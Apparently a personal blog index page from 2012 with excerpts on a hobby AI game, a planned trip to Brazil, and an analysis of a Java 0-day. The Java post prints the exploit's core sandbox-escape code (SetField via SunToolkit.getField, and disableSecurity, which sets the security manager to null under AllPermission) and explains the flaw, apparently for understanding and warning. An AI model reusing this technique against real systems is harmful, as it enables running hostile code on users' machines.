AI game update


Oct 29, 2012

I've been making excellent progress on my game. What you can see in the image below (way below) is random NPC colors, buildings, and GUI elements. The text outline isn't working like it should be, but that's not a big problem. All NPCs are animated and in this scene I'm rendering 100 at 60 FPS (it uses a lot of CPU, but it should be possible to improve greatly). The AI has been hooked up in such a way that you can talk to it. There's a bunch of stuff left to do, but I'm really enthusiastic about how far I am. I mean, all parts of the game are started. The graphics are poor, but I didn't set out to write a video game that was going to rest upon beautiful graphics. This game is special, it's going to have something that other games lack. It will be unique in so many ways, I doubt anyone will be able to say that it is yet another clone of <insert game here>. Of course I still am working my day job (and lots of hours as well), so it's bedtime instead of coding time.

AIgame aka AltSci Cell

Read more »

AI game


Sept 17, 2012

I've been telling a few of my friends that I've been writing a game. I have an entire game engine with a tiny amount of gameplay sitting in my vault under the names "Hack Mars" and "AltSci Cell" (Cell is where this blog comes from).

AIgame aka AltSci Cell

Read more »

Going back

I want to go back to Brasil next month for H2HC which is a simultaneous bilingual security conference. I've heard good things. It seems unlikely that I'll make it. I have a lot to do this fall and that would eat a month. It seems more reasonable for me to spend a month in January. You know what that means.

A month in Brasil! I am looking forward to it so much. I'm listening to Brazilian Portuguese everyday and I hope to learn enough to understand when I listen to a fast conversation. How do you do that? It's difficult. My plan is to immerse myself before I go. I'm going to read 1 paragraph per day and I'm going to listen to 2 hours of Brazilian Portuguese per day. That might not sound like a lot, but when you're working and your brain feels like it's stretching to soak up more information, 3 hours is going to be really difficult.

Read more »

Java 0-day Vulnerability

The front page of Slashdot today tells us that another Java 0-day has been found. It works in Metasploit and is being used in the wild. Turn off the Java plugin now! Never turn it back on.
[article]

The analysis of this seems to point to the getField function of sun.awt.SunToolkit. See the code below for the guts of the exploit.

    private void SetField(Class paramClass, String paramString, Object paramObject1, 
        Object paramObject2)
        throws Throwable
    {
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = paramClass;
        arrayOfObject[1] = paramString;
        Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), 
        "getField", arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
    }
This function SetField is called in disableSecurity.
    public void disableSecurity()
        throws Throwable
    {
        Statement localStatement = new Statement(System.class, "setSecurityManager", 
            new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(
            new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(
            new ProtectionDomain[] {
            localProtectionDomain
        });
        SetField(Statement.class, "acc", localStatement, localAccessControlContext);
        localStatement.execute();
    }
[source]

We can look at the source code of sun.awt.SunToolkit from jdk/src/share/classes/sun/awt/SunToolkit.java.

    public static Field getField(final Class klass, final String fieldName) {
        return AccessController.doPrivileged(new PrivilegedAction() {
            public Field run() {
                try {
                    Field field = klass.getDeclaredField(fieldName);
                    assert (field != null);
                    field.setAccessible(true);
                    return field;
                } catch (SecurityException e) {
                    assert false;
                } catch (NoSuchFieldException e) {
                    assert false;
                }
                return null;
            }//run
        });
    }
This code uses AccessController.doPrivileged which is used 13 times in SunToolkit. In the case of getField, it takes an arbitrary class, retrieves an arbitrary field, and sets it accessible using field.setAccessible(true). Then it returns it. This is a very subtle vulnerability if you don't understand Java's sandbox security model. AccessController.doPrivileged is a function to allow privileged actions to be called by unprivileged users (malicious applets that run without user consent). It can be used securely, but Oracle's programmers must be very careful about how it can be used. setAccessible is a method of AccessibleObject which is the base class for Field amongst other things, in this case Statement.acc. The field which the attack wishes to access is Statement.acc. Statement is part of java.beans. Statement.acc is private final AccessControlContext acc = AccessController.getContext(); The attack is able to then run ((Field)acc).set(localStatement, localAccessControlContext) where localStatement is a Statement object with data System.setSecurityManager(null) and localAccessControlContext is an AccessControlContext which allows AllPermission. Therefore you get a Statement where it's acc allows AllPermission, which can then be executed.

Read more »

« previous next »